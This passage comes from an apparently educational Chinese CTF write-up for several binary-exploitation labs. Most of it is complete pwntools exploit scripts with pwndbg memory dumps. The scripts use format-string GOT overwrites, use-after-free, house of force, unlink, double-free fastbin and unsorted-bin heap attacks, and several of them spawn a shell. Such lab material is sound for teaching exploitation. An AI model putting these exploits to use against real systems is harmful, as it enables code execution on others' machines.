05:0014│      0xffffd0d4 —▸ 0xf7fa4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
06:0018│ ebp  0xffffd0d8 —▸ 0xffffd0e8 —▸ 0xffffd0f8 ◂— 0x0
07:001c│      0xffffd0dc —▸ 0x8048584 (play+59) ◂— nop    
08:0020│      0xffffd0e0 —▸ 0xf7fa4d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│      0xffffd0e4 ◂— 0x0
0a:0028│      0xffffd0e8 —▸ 0xffffd0f8 ◂— 0x0
0b:002c│      0xffffd0ec —▸ 0x80485b1 (main+42) ◂— nop    
0c:0030│      0xffffd0f0 —▸ 0xf7fa43dc (__exit_funcs) —▸ 0xf7fa51e0 (initial) ◂— 0x0
0d:0034│      0xffffd0f4 —▸ 0xffffd110 ◂— 0x1
0e:0038│      0xffffd0f8 ◂— 0x0
0f:003c│      0xffffd0fc —▸ 0xf7e09276 (__libc_start_main+246) ◂— add    esp, 0x10
10:0040│      0xffffd100 ◂— 0x1
11:0044│      0xffffd104 —▸ 0xf7fa4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
12:0048│      0xffffd108 ◂— 0x0
13:004c│      0xffffd10c —▸ 0xf7e09276 (__libc_start_main+246) ◂— add    esp, 0x10
14:0050│      0xffffd110 ◂— 0x1
15:0054│      0xffffd114 —▸ 0xffffd1a4 —▸ 0xffffd342 ◂— 0x6d6f682f ('/hom')
16:0058│      0xffffd118 —▸ 0xffffd1ac —▸ 0xffffd375 ◂— 0x5f474458 ('XDG_')
17:005c│      0xffffd11c ◂— 0x0
... ↓
pwndbg>

如上 0x15, 0x16, 0x06 出的指针指向栈上的变量, 如修改 0x15 处为

`1`	`15:0054│ 0xffffd114 —▸ 0xffffd1a4 —▸ 0xffffd0dc —▸ 0x8048584 (play+59)`

然后再将 0x8048584 修改为某个 got 地址, 就可以实现间接地写 got 了, 这种方式也基本成了一种固定的套路, 如 hackme.inndy 的 echo3 一道题

exp

为了解释清楚整个利用的过程, 我把我调试时的信息也放到脚本里了

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context.arch = 'i386'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

io = process("./playfmt")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
elf = ELF("./playfmt")

'''
Breakpoint *do_fmt+64
pwndbg> x/3s 0x804a060
0x804a060 <buf>:	"..%8$p....%6$p."...
0x804a06f <buf+15>:	".11111111"
0x804a079 <buf+25>:	""
pwndbg> stack 25
00:0000│ esp  0xffa077c0 —▸ 0x804a060 (buf) ◂— 0x38252e2e ('..%8')
01:0004│      0xffa077c4 —▸ 0x8048640 ◂— jno    0x80486b7 /* 'quit' */
02:0008│      0xffa077c8 ◂— 0x4
03:000c│      0xffa077cc —▸ 0x804857c (play+51) ◂— add    esp, 0x10
04:0010│      0xffa077d0 —▸ 0x8048645 ◂— cmp    eax, 0x3d3d3d3d
05:0014│      0xffa077d4 —▸ 0xf7eb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
06:0018│ ebp  0xffa077d8 —▸ 0xffa077e8 —▸ 0xffa077f8 ◂— 0x0
07:001c│      0xffa077dc —▸ 0x8048584 (play+59) ◂— nop
08:0020│      0xffa077e0 —▸ 0xf7eb0d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│      0xffa077e4 ◂— 0x0
0a:0028│      0xffa077e8 —▸ 0xffa077f8 ◂— 0x0
0b:002c│      0xffa077ec —▸ 0x80485b1 (main+42) ◂— nop
0c:0030│      0xffa077f0 —▸ 0xf7eb03dc (__exit_funcs) —▸ 0xf7eb11e0 (initial) ◂— 0x0
0d:0034│      0xffa077f4 —▸ 0xffa07810 ◂— 0x1
0e:0038│      0xffa077f8 ◂— 0x0
0f:003c│      0xffa077fc —▸ 0xf7d15276 (__libc_start_main+246) ◂— add    esp, 0x10
10:0040│      0xffa07800 ◂— 0x1
11:0044│      0xffa07804 —▸ 0xf7eb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
12:0048│      0xffa07808 ◂— 0x0
13:004c│      0xffa0780c —▸ 0xf7d15276 (__libc_start_main+246) ◂— add    esp, 0x10
14:0050│      0xffa07810 ◂— 0x1
15:0054│      0xffa07814 —▸ 0xffa078a4 —▸ 0xffa083d6 ◂— './playfmt'
16:0058│      0xffa07818 —▸ 0xffa078ac —▸ 0xffa083e0 ◂— 'NO_AT_BRIDGE=1'
17:005c│      0xffa0781c ◂— 0x0
... ↓
'''
gdb.attach(io, "b *do_fmt+64\nc")
io.send("..%8$p....%6$p..11111111\0")
io.recvuntil("..")
libc.address = int(io.recvuntil("..", drop = True), 16) - libc.sym['_IO_2_1_stdout_']
success("libc.address -> {:#x}".format(libc.address))
io.recvuntil("..")
stack = int(io.recvuntil("..", drop = True), 16) - 0x28
success("stack -> {:#x}".format(stack))
pause()

'''
pwndbg> x/3s 0x804a060
0x804a060 <buf>:	"%30684c%21$hn%1"...
0x804a06f <buf+15>:	"6c%22$hn2222222"...
0x804a07e <buf+30>:	"2"
pwndbg> stack 25
00:0000│ esp  0xffa077c0 —▸ 0x804a060 (buf) ◂— 0x36303325 ('%306')
01:0004│      0xffa077c4 —▸ 0x8048640 ◂— jno    0x80486b7 /* 'quit' */
02:0008│      0xffa077c8 ◂— 0x4
03:000c│      0xffa077cc —▸ 0x804857c (play+51) ◂— add    esp, 0x10
04:0010│      0xffa077d0 —▸ 0x8048645 ◂— cmp    eax, 0x3d3d3d3d
05:0014│      0xffa077d4 —▸ 0xf7eb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
06:0018│ ebp  0xffa077d8 —▸ 0xffa077e8 —▸ 0xffa077f8 ◂— 0x0
07:001c│      0xffa077dc —▸ 0x8048584 (play+59) ◂— nop
08:0020│      0xffa077e0 —▸ 0xf7eb0d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│      0xffa077e4 ◂— 0x0
0a:0028│      0xffa077e8 —▸ 0xffa077f8 ◂— 0x0
0b:002c│      0xffa077ec —▸ 0x80485b1 (main+42) ◂— nop
0c:0030│      0xffa077f0 —▸ 0xf7eb03dc (__exit_funcs) —▸ 0xf7eb11e0 (initial) ◂— 0x0
0d:0034│      0xffa077f4 —▸ 0xffa07810 ◂— 0x1
0e:0038│      0xffa077f8 ◂— 0x0
0f:003c│      0xffa077fc —▸ 0xf7d15276 (__libc_start_main+246) ◂— add    esp, 0x10
10:0040│      0xffa07800 ◂— 0x1
11:0044│      0xffa07804 —▸ 0xf7eb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
12:0048│      0xffa07808 ◂— 0x0
13:004c│      0xffa0780c —▸ 0xf7d15276 (__libc_start_main+246) ◂— add    esp, 0x10
14:0050│      0xffa07810 ◂— 0x1
15:0054│      0xffa07814 —▸ 0xffa078a4 —▸ 0xffa083d6 ◂— './playfmt'
16:0058│      0xffa07818 —▸ 0xffa078ac —▸ 0xffa083e0 ◂— 'NO_AT_BRIDGE=1'
17:005c│      0xffa0781c ◂— 0x0
... ↓
'''
payload = "%{}c%{}$hn".format((stack + 0x1c) & 0xffff, 0x15)
#  payload += "%{}c%{}$hn".format((stack + 0x2c) & 0xffff - (stack + 0x1c) & 0xffff, 0x16)
payload += "%{}c%{}$hn".format(0x10, 0x16)
payload += '22222222\0'
info(payload)
io.sendafter("11111111", payload)
pause()

'''
pwndbg> x/3s 0x804a060
0x804a060 <buf>:	"%40976c%57$hn%2"...
0x804a06f <buf+15>:	"c%59$hn33333333"
0x804a07e <buf+30>:	""
pwndbg> stack 25
00:0000│ esp  0xffa077c0 —▸ 0x804a060 (buf) ◂— 0x39303425 ('%409')
01:0004│      0xffa077c4 —▸ 0x8048640 ◂— jno    0x80486b7 /* 'quit' */
02:0008│      0xffa077c8 ◂— 0x4
03:000c│      0xffa077cc —▸ 0x804857c (play+51) ◂— add    esp, 0x10
04:0010│      0xffa077d0 —▸ 0x8048645 ◂— cmp    eax, 0x3d3d3d3d
05:0014│      0xffa077d4 —▸ 0xf7eb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
06:0018│ ebp  0xffa077d8 —▸ 0xffa077e8 —▸ 0xffa077f8 ◂— 0x0
07:001c│      0xffa077dc —▸ 0x8048584 (play+59) ◂— nop
08:0020│      0xffa077e0 —▸ 0xf7eb0d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│      0xffa077e4 ◂— 0x0
0a:0028│      0xffa077e8 —▸ 0xffa077f8 ◂— 0x0
0b:002c│      0xffa077ec —▸ 0x80485b1 (main+42) ◂— nop
0c:0030│      0xffa077f0 —▸ 0xf7eb03dc (__exit_funcs) —▸ 0xf7eb11e0 (initial) ◂— 0x0
0d:0034│      0xffa077f4 —▸ 0xffa07810 ◂— 0x1
0e:0038│      0xffa077f8 ◂— 0x0
0f:003c│      0xffa077fc —▸ 0xf7d15276 (__libc_start_main+246) ◂— add    esp, 0x10
10:0040│      0xffa07800 ◂— 0x1
11:0044│      0xffa07804 —▸ 0xf7eb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
12:0048│      0xffa07808 ◂— 0x0
13:004c│      0xffa0780c —▸ 0xf7d15276 (__libc_start_main+246) ◂— add    esp, 0x10
14:0050│      0xffa07810 ◂— 0x1
15:0054│      0xffa07814 —▸ 0xffa078a4 —▸ 0xffa077dc —▸ 0x8048584 (play+59) ◂— nop
16:0058│      0xffa07818 —▸ 0xffa078ac —▸ 0xffa077ec —▸ 0x80485b1 (main+42) ◂— nop
17:005c│      0xffa0781c ◂— 0x0
... ↓
'''
#  gdb.attach(io, "b *do_fmt+64\nc")
payload = "%{}c%{}$hn".format(elf.got['printf'] & 0xffff, 0x39)
#  payload += "%{}c%{}$hn".format((elf.got['printf'] & 0xffff + 2) - (elf.got['printf'] & 0xffff), 0x3b)
payload += "%{}c%{}$hn".format(2, 0x3b)
payload += "33333333\0"
info(payload)
io.sendafter("22222222", payload)
pause()

'''
pwndbg> x/3s 0x804a060
0x804a060 <buf>:	"%211c%11$hhn%31"...
0x804a06f <buf+15>:	"325c%7$hn444444"...
0x804a07e <buf+30>:	"44"
pwndbg> stack 25
00:0000│ esp  0xffa077c0 —▸ 0x804a060 (buf) ◂— 0x31313225 ('%211')
01:0004│      0xffa077c4 —▸ 0x8048640 ◂— jno    0x80486b7 /* 'quit' */
02:0008│      0xffa077c8 ◂— 0x4
03:000c│      0xffa077cc —▸ 0x804857c (play+51) ◂— add    esp, 0x10
04:0010│      0xffa077d0 —▸ 0x8048645 ◂— cmp    eax, 0x3d3d3d3d
05:0014│      0xffa077d4 —▸ 0xf7eb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
06:0018│ ebp  0xffa077d8 —▸ 0xffa077e8 —▸ 0xffa077f8 ◂— 0x0
07:001c│      0xffa077dc —▸ 0x804a010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0xf7d46930 (printf) ◂— call   0xf7e1dae9
08:0020│      0xffa077e0 —▸ 0xf7eb0d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│      0xffa077e4 ◂— 0x0
0a:0028│      0xffa077e8 —▸ 0xffa077f8 ◂— 0x0
0b:002c│      0xffa077ec —▸ 0x804a012 (_GLOBAL_OFFSET_TABLE_+18) ◂— 0xc870f7d4
0c:0030│      0xffa077f0 —▸ 0xf7eb03dc (__exit_funcs) —▸ 0xf7eb11e0 (initial) ◂— 0x0
0d:0034│      0xffa077f4 —▸ 0xffa07810 ◂— 0x1
0e:0038│      0xffa077f8 ◂— 0x0
0f:003c│      0xffa077fc —▸ 0xf7d15276 (__libc_start_main+246) ◂— add    esp, 0x10
10:0040│      0xffa07800 ◂— 0x1
11:0044│      0xffa07804 —▸ 0xf7eb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
12:0048│      0xffa07808 ◂— 0x0
13:004c│      0xffa0780c —▸ 0xf7d15276 (__libc_start_main+246) ◂— add    esp, 0x10
14:0050│      0xffa07810 ◂— 0x1
15:0054│      0xffa07814 —▸ 0xffa078a4 —▸ 0xffa077dc —▸ 0x804a010 (_GLOBAL_OFFSET_TABLE_+16) ◂— 0xf7d46930
16:0058│      0xffa07818 —▸ 0xffa078ac —▸ 0xffa077ec —▸ 0x804a012 (_GLOBAL_OFFSET_TABLE_+18) ◂— 0xc870f7d4
17:005c│      0xffa0781c ◂— 0x0
... ↓
pwndbg> n
0x08048540 in do_fmt ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────[ REGISTERS ]────────────────────────
 EAX  0x7b38
 EBX  0x0
 ECX  0xffa052a0 ◂— 0x20202020 ('    ')
 EDX  0xf7eb1870 (_IO_stdfile_1_lock) ◂— 0x0
 EDI  0xf7eb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 ESI  0x1
 EBP  0xffa077d8 —▸ 0xffa077e8 —▸ 0xffa077f8 ◂— 0x0
 ESP  0xffa077c0 —▸ 0x804a060 (buf) ◂— 0x31313225 ('%211')
 EIP  0x8048540 (do_fmt+69) ◂— add    esp, 0x10
─────────────────────────[ DISASM ]──────────────────────────
   0x804853b <do_fmt+64>    call   printf@plt <0x80483a0>

 ► 0x8048540 <do_fmt+69>    add    esp, 0x10
   0x8048543 <do_fmt+72>    jmp    do_fmt+6 <0x8048501>
    ↓
   0x8048501 <do_fmt+6>     sub    esp, 4
   0x8048504 <do_fmt+9>     push   0xc8
   0x8048509 <do_fmt+14>    push   buf <0x804a060>
   0x804850e <do_fmt+19>    push   0
   0x8048510 <do_fmt+21>    call   read@plt <0x8048390>

   0x8048515 <do_fmt+26>    add    esp, 0x10
   0x8048518 <do_fmt+29>    sub    esp, 4
   0x804851b <do_fmt+32>    push   4
──────────────────────────[ STACK ]──────────────────────────
00:0000│ esp  0xffa077c0 —▸ 0x804a060 (buf) ◂— 0x31313225 ('%211')
01:0004│      0xffa077c4 —▸ 0x8048640 ◂— jno    0x80486b7 /* 'quit' */
02:0008│      0xffa077c8 ◂— 0x4
03:000c│      0xffa077cc —▸ 0x804857c (play+51) ◂— add    esp, 0x10
04:0010│      0xffa077d0 —▸ 0x8048645 ◂— cmp    eax, 0x3d3d3d3d
05:0014│      0xffa077d4 —▸ 0xf7eb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
06:0018│ ebp  0xffa077d8 —▸ 0xffa077e8 —▸ 0xffa077f8 ◂— 0x0
07:001c│      0xffa077dc —▸ 0x804a010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0xf7d37b30 (system) ◂— sub    esp, 0xc
────────────────────────[ BACKTRACE ]────────────────────────
 ► f 0  8048540 do_fmt+69
   f 1  804a010 _GLOBAL_OFFSET_TABLE_+16
   f 2 f7eb0d60 _IO_2_1_stdout_
   f 3  804a012 _GLOBAL_OFFSET_TABLE_+18
   f 4 f7eb03dc __exit_funcs
   f 5 ffa07810
   f 6 f7d15276 __libc_start_main+246
pwndbg> stack 25
00:0000│ esp  0xffa077c0 —▸ 0x804a060 (buf) ◂— 0x31313225 ('%211')
01:0004│      0xffa077c4 —▸ 0x8048640 ◂— jno    0x80486b7 /* 'quit' */
02:0008│      0xffa077c8 ◂— 0x4
03:000c│      0xffa077cc —▸ 0x804857c (play+51) ◂— add    esp, 0x10
04:0010│      0xffa077d0 —▸ 0x8048645 ◂— cmp    eax, 0x3d3d3d3d
05:0014│      0xffa077d4 —▸ 0xf7eb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
06:0018│ ebp  0xffa077d8 —▸ 0xffa077e8 —▸ 0xffa077f8 ◂— 0x0
07:001c│      0xffa077dc —▸ 0x804a010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0xf7d37b30 (system) ◂— sub    esp, 0xc
08:0020│      0xffa077e0 —▸ 0xf7eb0d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│      0xffa077e4 ◂— 0x0
0a:0028│      0xffa077e8 —▸ 0xffa077f8 ◂— 0x0
0b:002c│      0xffa077ec —▸ 0x804a012 (_GLOBAL_OFFSET_TABLE_+18) ◂— 0xc870f7d3
0c:0030│      0xffa077f0 —▸ 0xf7eb03dc (__exit_funcs) —▸ 0xf7eb11e0 (initial) ◂— 0x0
0d:0034│      0xffa077f4 —▸ 0xffa07810 ◂— 0x1
0e:0038│      0xffa077f8 ◂— 0x0
0f:003c│      0xffa077fc —▸ 0xf7d15276 (__libc_start_main+246) ◂— add    esp, 0x10
10:0040│      0xffa07800 ◂— 0x1
11:0044│      0xffa07804 —▸ 0xf7eb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
12:0048│      0xffa07808 ◂— 0x0
13:004c│      0xffa0780c —▸ 0xf7d15276 (__libc_start_main+246) ◂— add    esp, 0x10
14:0050│      0xffa07810 ◂— 0x1
15:0054│      0xffa07814 —▸ 0xffa078a4 —▸ 0xffa077dc —▸ 0x804a010 (_GLOBAL_OFFSET_TABLE_+16) ◂— 0xf7d37b30
16:0058│      0xffa07818 —▸ 0xffa078ac —▸ 0xffa077ec —▸ 0x804a012 (_GLOBAL_OFFSET_TABLE_+18) ◂— 0xc870f7d3
17:005c│      0xffa0781c ◂— 0x0
... ↓
pwndbg> got

GOT protection: Partial RELRO | GOT functions: 6

[0x804a00c] read@GLIBC_2.0 -> 0xf7dd3c50 (read) ◂— cmp    dword ptr gs:[0xc], 0
[0x804a010] printf@GLIBC_2.0 -> 0xf7d37b30 (system) ◂— sub    esp, 0xc
[0x804a014] puts@GLIBC_2.0 -> 0xf7d5c870 (puts) ◂— push   ebp
[0x804a018] __libc_start_main@GLIBC_2.0 -> 0xf7d15180 (__libc_start_main) ◂— push   ebp
[0x804a01c] setvbuf@GLIBC_2.0 -> 0xf7d5cff0 (setvbuf) ◂— push   ebp
[0x804a020] strncmp@GLIBC_2.0 -> 0xf7e3a5d0 (__strncmp_sse4_2) ◂— push   ebp
'''
#  gdb.attach(io, "b *do_fmt+64\nc")
payload = "%{}c%{}$hhn".format(libc.sym['system'] >> 16 & 0xff, 0xb)
payload += "%{}c%{}$hn".format((libc.sym['system'] & 0xffff) - (libc.sym['system'] >> 16 & 0xff), 0x7)
payload += '44444444\0'
info(payload)
io.sendafter("33333333", payload)
pause()

io.sendafter("44444444", "/bin/sh\0")

io.interactive()
io.close()

可以通过设置标记变量(如我 exp 中的 11111111, 22222222 等)进行输入输出的定位

lab10-hacknote

最简单的一种 fastbin uaf 利用，结构体中有函数指针，通过 uaf 控制该函数指针指向 magic 函数即可，uaf 的介绍可以看这个 slide

exp:

lab10 [master●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

def debug():
    raw_input("DEBUG: ")
    gdb.attach(io)

io = process("./hacknote")
elf = ELF("./hacknote")
magic_elf = elf.symbols["magic"]


def addNote(size, content):
    io.sendafter("choice :", "1")
    io.sendafter("size ", str(size))
    io.sendafter("Content :", content)

def delNote(idx):
    #  debug()
    io.sendafter("choice :", "2")
    io.sendafter("Index :", str(idx))

def printNote(idx):
    #  debug()
    io.sendafter("choice :", "3")
    io.sendafter("Index :", str(idx))

def uaf():
    addNote(24, "a" * 24)
    addNote(24, "b" * 24)

    delNote(0)
    delNote(1)
    #  debug()
    addNote(8,p32(magic_elf))

    printNote(0)

if __name__ == "__main__":
    uaf()
    io.interactive()
    io.close()

说一下怎么修复 IDA 中的结构体

识别出结构体的具体结构后

shift+F1, insert 插入识别出的结果

shift+F9, insert 导入我们刚添加的 local type

然后我们在结构体变量上 y 一下，制定其数据类型即可

修复的效果图如下：

lab11-bamboobox

可以种 house of force，也可以使用 unsafe unlink，先说 house of force 的方法

house of force

简单说一下我对 hof 的理解，如果我们能控制 top_chunk 的 size，那么我们就可以通过控制 malloc 一些精心设计的大数/负数来实现控制 top_chunk 的指针，就可以实现任意地址写的效果，个人感觉，hof 的核心思想就在这个 force 上，疯狂 malloc，简单粗暴效果明显

lab11 [master●] cat hof.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from zio import l64
from time import sleep
import sys
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

io = process("./bamboobox")

def DEBUG():
	raw_input("DEBUG: ")
	gdb.attach(io)


def add(length, name):
    io.sendlineafter(":", "2")
    io.sendlineafter(":", str(length))
    io.sendafter(":", name)

def change(idx, length, name):
    io.sendlineafter(":", "3")
    io.sendlineafter(":", str(idx))
    io.sendlineafter(":", str(length))
    io.sendafter(":", name)

def exit():
    io.sendlineafter(":", "5")

if __name__ == "__main__":
    add(0x60, cyclic(0x60))
    #  DEBUG()
    change(0, 0x60 + 0x10, cyclic(0x60) + p64(0) + l64(-1))
    add(-(0x60 + 0x10) - (0x10 + 0x10) - 0x10, 'aaaa') # -(sizeof(item)) - sizeof(box) - 0x10
    add(0x10, p64(ELF("./bamboobox").sym['magic']) * 2)
    exit()

    io.interactive()
    io.close()

快速确定需要 malloc 的大数/负数可以使用 Pwngdb 的 force 功能, 这里我做了一个 fork, 把 Pwngdb 和 pwndbg 的功能做了一个合并

unlink

至于 unlink，在这个 slide 中有较大篇幅的介绍，就不在说明原理了

lab11 [master●] cat unlink.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from time import sleep
import sys
context.arch = 'amd64'
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

io = process("./bamboobox")
# process("./bamboobox").libc will assign libc.address but ELF("./bamboobox") won't
#  libc = io.libc
elf = ELF("./bamboobox")
libc = elf.libc

def DEBUG():
	raw_input("DEBUG: ")
	gdb.attach(io)

def show():
    io.sendlineafter(":", "1")

def add(length, name):
    io.sendlineafter(":", "2")
    io.sendlineafter(":", str(length))
    io.sendafter(":", name)

def change(idx, length, name):
    io.sendlineafter(":", "3")
    io.sendlineafter(":", str(idx))
    io.sendlineafter(":", str(length))
    io.sendafter(":", name)

def remove(idx):
    io.sendlineafter(":", "4")
    io.sendlineafter(":", str(idx))

def exit():
    io.sendlineafter(":", "5")

if __name__ == "__main__":
    add(0x40, '0' * 8)
    add(0x80, '1' * 8)
    add(0x40, '2' * 8)
    ptr = 0x6020c8

    fakeChunk = flat([0, 0x41, ptr - 0x18, ptr - 0x10, cyclic(0x20), 0x40, 0x90])
    change(0, 0x80, fakeChunk)
    remove(1)
    payload = flat([0, 0, 0x40, elf.got['atoi']])
    change(0, 0x80, payload)
    show()
    libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) - libc.sym['atoi']
    success("libc.address -> {:#x}".format(libc.address))
    #  libcBase = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) - libc.sym['atoi']
    #  success("libcBase -> {:#x}".format(libcBase))
    pause()

    change(0, 0x8, p64(libc.sym['system']))
    #  change(0, 0x8, p64(libcBase + libc.sym['system']))
    io.sendline('$0')

    io.interactive()
    io.close()

可以看出，通过 house of house 直接控制函数指针进而控制 ip 的方法代码量少了不少，这也提醒我们不要放弃利用任何一个函数指针的机会

lab12-secretgarden

通过 double free 实现 fastbin attack 的题目，所谓 double free，指的就是对同一个 allocated chunk free 两次，这样就可以形成一个类似 0 -> 1 -> 0 的 cycled fastbin list，这样当我们 malloc 出 0 时，就可以修改 fastbin list 中 0 的 fd，如 1 -> 0 -> target，这样只要我们再 malloc 三次，并通过 malloc 的检查，就可以实现 malloc 到任何地址，进而实现任意地址写，至于 double free 的检查怎么绕过可以看这个 slide

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

def DEBUG():
    raw_input("DEBUG: ")
    gdb.attach(io, "b *0x4009F2")

def Raise(length, name):
    io.sendlineafter(" : ", "1")
    io.sendlineafter(" :", str(length))
    io.sendafter(" :", name)
    io.sendlineafter(" :", "nb")

def remove(idx):
    io.sendlineafter(" : ", "3")
    io.sendlineafter(":", str(idx))

if __name__ == "__main__":
    #  io = process("./secretgarden", {"LD_PRELOAD": "./libc-2.23.so"})
    io = process("./secretgarden")

    Raise(0x50, "000") # 0
    Raise(0x50, "111") # 1

    remove(0) # 0
    #  pause()
    remove(1) # 1 -> 0
    remove(0) # 0 -> 1 -> 0

    magic = ELF("./secretgarden").sym["magic"]
    #  fakeChunk = 0x602028 + 2 - 8
    fakeChunk = 0x602000+2-8

    Raise(0x50, p64(fakeChunk)) # 0
    Raise(0x50, "111") # 1
    Raise(0x50, "000")
    #  DEBUG()
    #  payload = cyclic(8 - 2) + p64(magic) * 8
    payload = cyclic(8 + 8 - 2) + p64(magic) * 2
    Raise(0x50, payload)

    io.interactive()
    io.close()

以上的 exp 实现了通过 fastbin attack 来修改 got, 实际上通过 fastbin attack 来修改 __malloc_hook, __realloc_hook, __free_hook, IO_file_plus 结构体中的 jump_table 也是很常见的做法, 尤其是程序开了 Full Relro 保护时
pwnable.tw 的 Secret Garden 一题就用到了以上几种做法, 可以参考这篇 writeup
参考了 veritas501 师傅的文章, 我在我的 fork 里也加入了快速利用 fastbin attack 的函数 fake_fastbin_all

lab13-heapcreator

在 edit_heap 中有一个故意留下来的 off-by-one，并且不是 off-by-one null byte，因此我们就可以有很大自由度地控制下一个 chunk 的 size, 可以使用 extended chunk 这种技巧造成 overlapping chunk，进而通过将 *content 覆写为某函数的 got (如 free/atoi) 就可以 leak 出 libc 的地址，然后再改写为 system 的地址，控制参数即可 get shell

关于 extended chunk 的介绍可以看这个 slide

lab13 [master●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context.log_level = "debug"

def create(size, content):
    io.sendlineafter(" :", "1")
    io.sendlineafter(" : ", str(size))
    io.sendlineafter(":", content)

def edit(idx, content):
    io.sendlineafter(" :", "2")
    io.sendlineafter(" :", str(idx))
    io.sendlineafter(" : ", content)

def show(idx):
    io.sendlineafter(" :", "3")
    io.sendlineafter(" :", str(idx))

def delete(idx):
    io.sendlineafter(" :", "4")
    io.sendlineafter(" :", str(idx))

if __name__ == "__main__":
    io = process("./heapcreator", {"LD_LOADPRE": "/lib/x86_64-linux-gnu/libc.so.6"})
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

    create(0x18, '0000') # 0
    create(0x10, '1111') # 1

    payload = "/bin/sh\0" + cyclic(0x10) + p8(0x41)
    edit(0, payload) # overwrite 1

    delete(1) # overlapping chunk

    freeGot = 0x0000000000602018
    payload = p64(0) * 4 + p64(0x30) + p64(freeGot)
    create(0x30, payload)
    show(1)

    libcBase = u64(io.recvuntil("\x7f")[-6: ].ljust(8, "\x00")) - libc.sym["free"]
    success("libcBase -> {:#x}".format(libcBase))
    #  pause()
    edit(1, p64(libcBase + libc.sym["system"]))

    delete(0)
    io.interactive()
    io.close()

lab14-magicheap

在 edit_heap() 里有 arbitrary overflow, 我们最终要达到的目的是修改全局变量 magic > 4869, 可以考虑使用 unsorted bin attack 这一技巧 unsorted bin attack 的结果是向任一地址写一个不可控的大数(unsorted bin list 的地址), 看起来比较局限, 但在某些情境下还是很有用的:

修改 global_max_fast 为一个较大的数, 这样根据 malloc 的源码

/*
   If the size qualifies as a fastbin, first check corresponding bin.
   This code is safe to execute even if av is not yet initialized, so we
   can try it without checking, which saves some time on this fast path.
*/
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
 {
   idx = fastbin_index (nb);
   mfastbinptr *fb = &fastbin (av, idx);
   mchunkptr pp = *fb;
    .....

更大的 chunk 也可以被视为 fastbin, fastbin attack 的利用范围就大了很多

往某一地址上写值, 比如可以在 __free_hook 前的某一地址上写入一个大数(0x7f**********)来满足 fastbin attack 的条件(提供 fastbin 的 size)

unsorted bin attack 的原理也很简单, unsorted bin 的自己实现了 unlink 的功能, 没有使用宏定义

          bck = victim->bk;
          ......
          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

可以看出, 如果我们能控制 unsorted bin 的bk 为地址 target - 16, 那么在 bck -> fd = unsorted_chunks(av) 这一步时, target 就会被写入 unsorted bin 的地址. 但同时也要注意此时 unsorted bin list 已经被破坏, 下次再有 unsorted bin 的操作就会引起 crash

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from time import sleep
import sys
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

io = process("./magicheap")
elf = ELF("./magicheap")
#  libc = ELF("")

def DEBUG():
    raw_input("DEBUG: ")
    gdb.attach(io)


def create(size, content, attack = False):
    io.sendlineafter("choice :", "1")
    io.sendlineafter(" : ", str(size))
    io.sendlineafter(":", content)


def edit(idx, size, content):
    io.sendlineafter("choice :", "2")
    io.sendlineafter(" :", str(idx))
    io.sendlineafter(" : ", str(size))
    io.sendlineafter(" : ", content)

def delete(idx):
    io.sendlineafter("choice :", "3")
    io.sendlineafter(" :", str(idx))


if __name__ == "__main__":
    create(0x10, 'aaaa')
    create(0x80, 'bbbb')
    create(0x10, 'cccc')

    delete(1)

    payload = cyclic(0x10) + p64(0) + p64(0x91) + p64(0) + p64(elf.symbols["magic"] - 0x10)
    edit(0, 0x10 + 0x20, payload)

    create(0x80, 'dddd')

    io.sendlineafter("choice :", "4869")
    io.interactive()
    io.close()

lab15-zoo

